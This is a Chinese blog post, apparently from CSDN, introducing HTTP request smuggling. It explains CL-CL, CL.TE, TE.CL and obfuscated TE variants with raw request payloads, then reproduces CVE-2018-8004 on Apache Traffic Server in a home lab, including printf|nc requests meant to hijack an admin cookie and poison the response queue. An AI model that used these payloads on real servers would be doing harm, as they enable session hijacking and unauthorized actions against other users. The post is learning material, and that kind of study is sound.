HTTP请求走私初识

最新推荐文章于 2024-05-14 19:30:31 发布
最新推荐文章于 2024-05-14 19:30:31 发布
阅读量1.6k 收藏 3
点赞数 1
分类专栏： 漏洞原理 VulnReviewing 骚操作 文章标签： http apache 渗透测试 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_32731075/article/details/119046075
版权

HTTP请求走私初识

本文参考协议层的攻击——HTTP请求走私
这篇文章来自于我今天复现了CVE-2021-33037，其中提到了一个概念就是http协议走私，于是乎我找了资料学习了一下这个协议走私的内容。不得不说这个攻击是真牛皮！！！
我总结，这个漏洞存在的主要原因是因为在http1.1引入的长连接keep-alive与pipline的概念。长连接允许多个请求复用同一个tcp连接，不必每个请求重新建立连接，大大节约了服务器资源，pipline使得http的请求不必等到响应之后在发起，而可以流式得发起请求，请求到达服务端后仍然通过排队的方式进行处理。正是这两个概念导致了我们今天要讲的问题，当然还有另外重要的一点就是，关于服务器在处理te与cl时存在的差异导致了这个问题。
当今的网络负载均衡技术被广泛使用，负载均衡服务器在整个系统中起到一个分流的作用，其使用的技术是反向代理的技术，讲纸箱负载军泵服务器的流量通过各种特征分配到不同的服务器上进行响应，因为负载均衡服务器与后端实际处理请求的服务器对于http请求的处理差异导致了该漏洞，下面我们来具体解释

一、http请求走私的类型

1.1 cl不为0的get请求

当我们发送一个content-lenght长度不为0的get请求的时候，像下面这样

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

44是请求体的长度共44个字节。如果负载均衡服务器能够正常识别content-length，第二个get后面的内容讲被当做请求体发送到某一个服务器，如果这个服务器不能识别get请求中的content-length，那么cl就会被忽略，第二个get后面的内容因为keep-alive与pipline存在的原因会被当做一个新的请求。这个请求就像走私一样瞒过了负载均衡服务器这个海关，最终到达了目的地被解析。

1.2 cl-cl

如果一个http请求中存在两个cl，那么如果中间代理服务器与后端处理服务器对着两个cl的解析顺序不一样的话就可能导致http走私。
看下面的代码

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

如果中间代理服务器解析第1个cl，那么它会将

12345\r\n
a

当做请求体，整个请求被发送到后端处理服务器，如果后端的处理服务器识别的是第二个cl那么他识别到的请求体就是

12345\r\n

这样的话a就被空出来了，有因为a后面是没有\r\n的，那么它将被当做一个不完整的请求，所以服务器这时候会等待这个请求被传输完毕，如果此时有一个新的正常的请求进来了，那么服务器将识别这个请求像下面这样子

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

很明显这是一个错误的请求方法，这导致了正常用户的请求失败。

1.3 cl-te

cl-te就是中间代理服务器处理cl忽略te，后端处理te忽略cl，我们看下面这样一个请求

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

中间代理服务器处理cl为6正好是

0\r\n
\r\n
G

所以上面的请求会被完整得发送到后端处理，后端在处理的时候会忽略cl，处理te，那么请求体重的0表示分段的结束，这里可以去看一下chunk的格式。那么此时G就单出来了，接下来和上面cl-cl的原理一样，下一个正常请求过来的时候，将会与g进行拼接形成一个错误的请求方法。这样攻击就完成了。

1.4 te-cl

一样的原理，中间代理服务器处理te，后端处理cl,看下面的代码

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
31\r\n
POST / HTTP/1.1\r\n
Host:127.0.0.1\r\n
\r\n
0\r\n
\r\n

中间代理服务器正常识别分段信息，第一个分段31个字节，然后读到0认为分段传输完成了，讲请求完整发送到后端，后端处理的时候处理cl不处理te，这时候cl为4所以只读取请求体到31\r\n就完了，设下的部分被当做另外一个请求，这第二个请求可以被用来请求一些只能在本地被访问的资源。

1.5 te-te

对te进行混淆，使得中间代理服务器或者后端服务器某一个不处理te，从而达到te-cl或者cl-te的效果，看下面的代码

POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

这就是一个变形的te-cl的例子。

二、http走私实例-CVE-2018-8004

漏洞环境：Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本

2.1 测试环境搭建

我们需要一台中间代理服务器，这里使用apache traffic server，两台处理服务器，一个lnmp架构，一个lamp架构

2.1.1 ats安装

源码下载看原文吧，不想写了
源码地址

https://github.com/apache/trafficserver/archive/7.1.2.tar.gz

环境安装

apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget

编译安装

autoreconf -if
./configure --prefix=/opt/ts-712
make
make install

开启反向代理，编辑records.config

vim /opt/ts-712/etc/trafficserver/records.config

CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存
CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理
CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址
CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口

配置映射,编辑remap.config

vim /opt/ts-712/etc/trafficserver/remap.config

map http://lnmp.test.com/ http://192.168.0.103:8080/
map http://lamp.test.com/ http://192.168.0.103:80/

反向代理配置好之后，记得去攻击机的hosts文件中添加两条解析记录lnmp与lamp的都指向方向代理服务器所在机器。
然后就可已启动ats了，进入ats的安装目录下面的bin文件夹里面执行

./trafficserver start

然后我就发现这样启动不行，查询80端口发现根本就没有启动，经过我不懈努力终于发现一个方法，同样的崽bin目录下执行

./traffic_server

不过这样启动的服务要不了多久就会自动挂掉，也不知道到底该怎么启动，烦啊！！！！每做一个实验就得重新启动一次，无语！！

2.1.2 apache+php

这个就比较简单了，我就不讲了

2.1.3 ngix+php

这个我们整过，记录一下
首先上官网下载一个ngix，然后修改它的配置文件
在这里插入图片描述
像这样，凡是.php结尾的全部扔给9000端口，php-cgi监听在9000端口。然后让你的nginx跑起来
在你的php的bin目录下面执行

php-cgi.exe -b 127.0.0.1:9000

这样你的php-cgi就跑起来了，但是还不够，你还得设置php文件的存放目录，在php.ini中找到doc_root修改一下
在这里插入图片描述
就像这样，然后把你的php文件扔进去就好了

2.1.4 php代码

下面的代码将会打印请求头部信息
lnmp

<?php
echo 'This is Nginx<br>';
if (!function_exists('getallheaders')) {

    function getallheaders() {
        $headers = array();
        foreach ($_SERVER as $name => $value) {
            if (substr($name, 0, 5) == 'HTTP_') {
                $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
            }
        }
        return $headers;
    }

}
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);

lamp

<?php
echo 'This is LAMP:80<br>';
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);

2.2 利用方式一

当content-length字段与冒号之间有空格的时候，ats能够争取解析，但按照国际标准这样是不合法的，严格按照rfc标准的服务器是不能正确解析的，所以会葫芦这个值。看下面一个请求

GET /test.php HTTP/1.1
Host: lnmp.test.com
Content-Length : 61

GET /test.php HTTP/1.1
Host: lnmp.test.com
attack: 1
foo:

用wireshrk看看请求是什么样的
在这里插入图片描述
可以看到，发起了两次请求，但是这样会造成什么危害呢？当然有的。我们仔细观察第二个请求，他的最后是没有\r\n的，这也就意味着此时第二个请求还没有接收完成，当下一个请求来的时候，就会直接拼接到后面，我们看一下我发送两次请求之后使用weireshark看一看请求的样子
在这里插入图片描述
与我们分析的一致，如果后面拼接的不是我们自己的请求呢？假设这样一个情境，现在该网站有一个删除用户的功能，但是必须要管理员身份才能实现，那么我们就可以利用http走私进行cookie劫持，假如有这样一个页面

<?php
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){
    echo "You are Admin\n";
    if(isset($_GET['del'])){
        echo 'del user ' . $_GET['del'];
    }
}else{
    echo "You are not Admin";
}

首先我们还是构造我们的异常请求发送一次，
在这里插入图片描述

然后模拟一个管理员正常登录的情况，
在这里插入图片描述

这个请求刚好拼接到我们异常请求的后面于是就有了这样的最终请求
在这里插入图片描述
可以看到第二次正常的请求和前一个请求发生了拼接，成为了

GET /admin.php?del=armandhe HTTP/1.1
Host: lnmp.test.com
attack: 1
foo: GET /admin.php HTTP/1.1
Host: 192.168.0.103:8080
Cookie: admin=1
X-Forwarded-For: 192.168.248.1
Via: http/1.1 kali[a0d1ae7d-93e1-44a9-8c37-9be96fde3881] (ApacheTrafficServer/7.1.2)

这样我们就伪造了admin的身份删除了用户armandhe。但是，这儿的实验我没有成功，究其原因我发现是这里有两个host互相发生了干扰，我们得删除一个才能生效。这就很尴尬了，这两个在正常的请求中任何一个都是不能删除的，也就是我这个漏洞我的利用失败了。

2.3 利用方式二

这个利用的是ats在请求头红碰到\0会发生截断，直接返回400错误，但是连接却不会中断。看下面的请求

printf 'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'aa: \0bb\r\n'\
'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\
| nc 192.168.248.142 80

这个请求ats在处理的时候，碰到了\0于是会发生截断，直接返回400错误，后面剩下的部分就是

'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\

这一段是不符合http请求的规范的于是乎也会返回400的错误，我们看一下响应结果
在这里插入图片描述
可以看到产生了两个400的响应
这时候我们在将我们的请求变形一下，将foo字段去掉，也就成了这样的请求

printf 'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'aa: \0bb\r\n'\
'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\
| nc 192.168.248.142 80

我们在看看结果
在这里插入图片描述
第一个请求400响应400，因为\0不符合规范，因为keep-alive与pipline的存在，后面的部分被当做了第二个请求也就是

'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\

很明显这是一个正确的请求，于是乎返回了200
我们接着构造这样的请求发起攻击

GET /test.phpHTTP/1.1\r\n
Host: lamp.test.com\r\n
aa: \0bb\r\n
GET http://lamp.test.com/test.php HTTP/1.1\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: lamp.test.com\r\n
\r\n

这里面有两个http请求，分别是

GET /test.phpHTTP/1.1\r\n
Host: lamp.test.com\r\n
aa: \0bb\r\n
GET http://lamp.test.com/test.php HTTP/1.1\r\n
\r\n

与

GET /404 HTTP/1.1\r\n
Host: lamp.test.com\r\n
\r\n

但ats在识别第一个请求的时候碰到了\0，所以直接返回400，接着是

GET http://lamp.test.com/test.php HTTP/1.1\r\n
\r\n

这会被当做一个新的请求，返回200
然后是最后一个请求应为404资源不存在所以会返回404，我们只发送了两个请求却返回了3个响应，我们验证一下
在这里插入图片描述
这时候如果有一个新的请求进来，它获得的响应就是我们的第二个响应。当然，我的实验没有成功，一般操作了！！！

2.4 利用方式三

cl-te类型的http请求走私，看下面的请求

GET / HTTP/1.1
Host: lnmp.test.com
Content-Length: 83
Transfer-Encoding: chunked

0

GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.test.com
attack: 1
foo:

注意尾部的两个空行。都懂什么意思吧？然后我们看看wireshark抓包的结果
在这里插入图片描述
回来了两个请求，这里注意一下箭头部分，虽然是404但是，响应的内容是正确的。
这时候我们开始进行cookie窃取了，首先发送我们的恶意请求
在这里插入图片描述
注意这时候foo后面是没有空行的。
然后发送正常的访问管理员界面请求
在这里插入图片描述
然后我们看看wireshark，发生了请求的拼接！！，cooke被我们劫持了。
在这里插入图片描述
看看响应
在这里插入图片描述
这里有两个响应，第二个请求响应了404，好尴尬，让我看看为什么！！！
我们把第二个请求复制到burpsuite里面重发一下
在这里插入图片描述
经过我的测试，是因为有两个host的原因导致的！！！
熬不住了，就写这么多吧，我先把剩下的文章看完！！！

Iwanturoot
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
HTTP请求走私
asdfadafd的博客
05-14 218
HTTP请求走私 1、漏洞概述 1、HTTP走私 不同服务器分割请求的标准不一样，对同一段tcp内容，前后端服务器获取到的http请求个数不一致，（这里是因为http1.0版本之前，是客户端向服务器每进行一次HTTP请求，都要跟服务器建立一次TCP连接，但这样会对服务器负载开销过大。所以在HTTP1.1版本，增加了新的请求头，Connection=Keep-Alive.这种连接会告诉服务器在进行完这一次http请求后不要关闭链接，对于后面的请求还会用这个链接，这样可以提高效率。）解析http数据包时出现差异
HTTP请求及应答
WWX2LN的博客
08-10 2042
目录 一、以一个例子来看HTTP通信 二、HTTP请求 三、HTTP应答 四、HTTP与HTTPS的比较 HTTP协议（超文本传输协议）是OSI7层协议中应用层的协议，它定义了浏览器（即万维网客户进程）怎样向万维网服务器请求万维网文档，以及服务器怎样把文档传送给浏览器。HTTP协议是一种面向连接的协议。今天就来看看有关HTTP通信的内容。 一、以一个例子来看HTTP通信 HTTP协议...
http请求走私详解
01-10 3035
HTTP请求走私是一种干扰网站正常处理从一个或多个用户收到的HTTP请求的方法，请求走私漏洞在本质上通常很关键，允许攻击者绕过安全控制，获得对敏感数据的未授权访问，并直接危害其他应用程序的用户。随便提一句：本文的环境为网站https://portswigger.net/提供的在线环境。现在的网络架构，一般后端真实响应的服务器前端还有存在一个反向代理或者负载均衡的服务器，例如常见的Nginx + tomcat的响应方式。
网络安全最全HTTP请求走私漏洞简单分析_apache 2，2024年最新【深度思考】
最新发布
2401_84253850的博客
05-14 884
本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！
Tomcat HTTP请求走私(CVE-2021-33037)
Armandhe的博客
07-23 4976
漏洞我是没复现出来，但原理我搞的透透的
HTTP 请求走私漏洞（HTTP Request Smuggling）
weixin_42451330的博客
07-18 4310
HTTP请求走私漏洞（HTTP Request Smuggling）是一种安全漏洞，利用了HTTP协议中请求和响应的解析和处理方式的不一致性。攻击者通过构造特定的恶意请求，以欺骗服务器和代理服务器，从而绕过安全机制，执行未经授权的操作。HTTP请求走私漏洞通常涉及两个或多个HTTP请求的组合，攻击者可以利用HTTP报文中的头部或其他元数据来混淆和欺骗服务器或代理服务器的解析逻辑。
HTTP 请求走私
Sentiment的博客
05-05 1608
HTTP 请求走私是一种用于干扰网站处理从一个或多个用户接收的 HTTP 请求序列的方式的技术。请求走私漏洞通常本质上至关重要，允许攻击者绕过安全控制，未经授权访问敏感数据，并直接危害其他应用程序用户。 漏洞成因 HTTP规范提供了两种不同的方法来指定请求的结束位置：Content-Length标头和Transfer-Encoding标头，若同一请求前端与后端所使用的规范不同就可能导致解析差异，从而造成请求走私。一般服务器有三种解析方式： CL.TE：前端服务器使用Conten
http-request-smuggling:HTTP请求走私检测工具
05-04
HTTP请求走私检测工具HTTP请求走私是一种高度严重的漏洞，该技术是攻击者通过模糊的HTTP请求走私以绕过安全控制并获得未经授权的访问权以执行恶意活动，该漏洞是在2005年由发现的，并于2019年8月重新发现。...
Smuggler-用Python 3编写的HTTP请求走私/不同步测试工具-Python开发
05-25
Smuggler-使用Python 3 ______ _ / _____编写的HTTP请求走私/取消同步测试工具）| | （（（____ ____ _ _ ____ ____ | | _____ ____ \ ____ \ | \ | | | | / _ | / _ | || ___ | / ___）_____））|（ | | | _ | （...
http-desync-guardian:分析HTTP请求以最大程度地减少HTTP异步攻击的风险（HTTP请求走私拆分的前身）
03-21
http_desync_guardian库旨在分析HTTP请求，以防止HTTP Desync攻击，从而平衡安全性和可用性。它将请求分为不同并提供有关如何处理每个层级的建议。 它既可以用于原始HTTP请求标头，也可以由HTTP引擎解析。消费者...
h2csmuggler:通过HTTP2明文（h2c）的HTTP请求走私
03-18
通过与兼容h2c的后端服务器建立HTTP / 2明文（h2c）通信，h2cSmuggler通过不安全的边缘服务器proxy_pass配置走私HTTP流量，从而允许绕过代理规则和访问控制。 请参阅以下我的详细文章： 漏洞的技术细分 不安全的默认...
HTTP-Smuggling-Lab:使用HTTP走私实验室学习HTTP走私
05-22
HTTP-Smuggling-Lab是用于学习有关HTTP请求走私的实验室。 安装 使用docker-compose在每个目录中构建实验室。 用法 在每个目录中详细阅读README.md。 在Lab1中，我们将链接一些反向代理关系，Nginx将是最终的后端，...
HTTP请求走私详解
baynk的博客
04-04 1540
HTTP请求走私详解 导语：HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术，使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。 HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术，使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害...
HTTP请求走私漏洞简单分析
Aiwin的博客
07-30 1194
HTTP请求走私漏洞简单分析
HTTP协议请求走私
A98llen的博客
12-21 141
http协议请求走私
HTTP请求走私！！！（一）
m0_74057302的博客
03-27 1768
想都是问题，做才是答案!!!
Tomcat环境问题漏洞(如CVE-2021-33037)和隐藏版本信息
weixin_43790613的博客
08-25 3523
文章目录环境问题漏洞(如CVE-2021-33037)解决隐藏版本信息 环境问题漏洞(如CVE-2021-33037)解决 进入https://tomcat.apache.org/security.html，选择对应的Tomcat版本 进入后就可以根据漏洞编码如CVE-2021-33037搜索可查看到哪个版本的Tomcat解决了这个bug 隐藏版本信息 进入tomcat的lib目录找到catalina.jar文件 进入org/apache/catalina/util 编辑配置文件ServerInfo.p
http请求走私
m0_55754984的博客
09-10 323
0x01 简介 HTTP请求走私这个漏洞在几年前就已经被提出来了，但是人们几乎很少去重视它，而现实中越来越多的人开始使用类似于CDN加速技术对网站性能进行优化，这个时候就出现了众多的反向代理服务器真实网络环境。 当我们向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实
如何对邮寄走私数据进行清洗
06-01
清洗邮寄走私数据的方法有很多，以下是可能的步骤： 1. 对邮件进行筛选：根据特定的筛选规则，识别出可能存在走私数据的邮件。 2. 提取数据：将邮件中的文本、附件等数据提取出来，以便于后续的分析和处理。 3. 数据分析：对提取出来的数据进行分析，识别出其中可能存在的走私数据。 4. 清洗数据：对识别出的走私数据进行清洗，例如替换敏感信息、删除不必要的数据等。 5. 导出数据：将清洗后的数据导出，以便于后续的使用或归档。 需要注意的是，邮寄走私数据的清洗需要遵守相关的法律法规，例如保护个人隐私、保护商业机密等。同时，清洗邮寄走私数据也需要保证数据的完整性和准确性。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值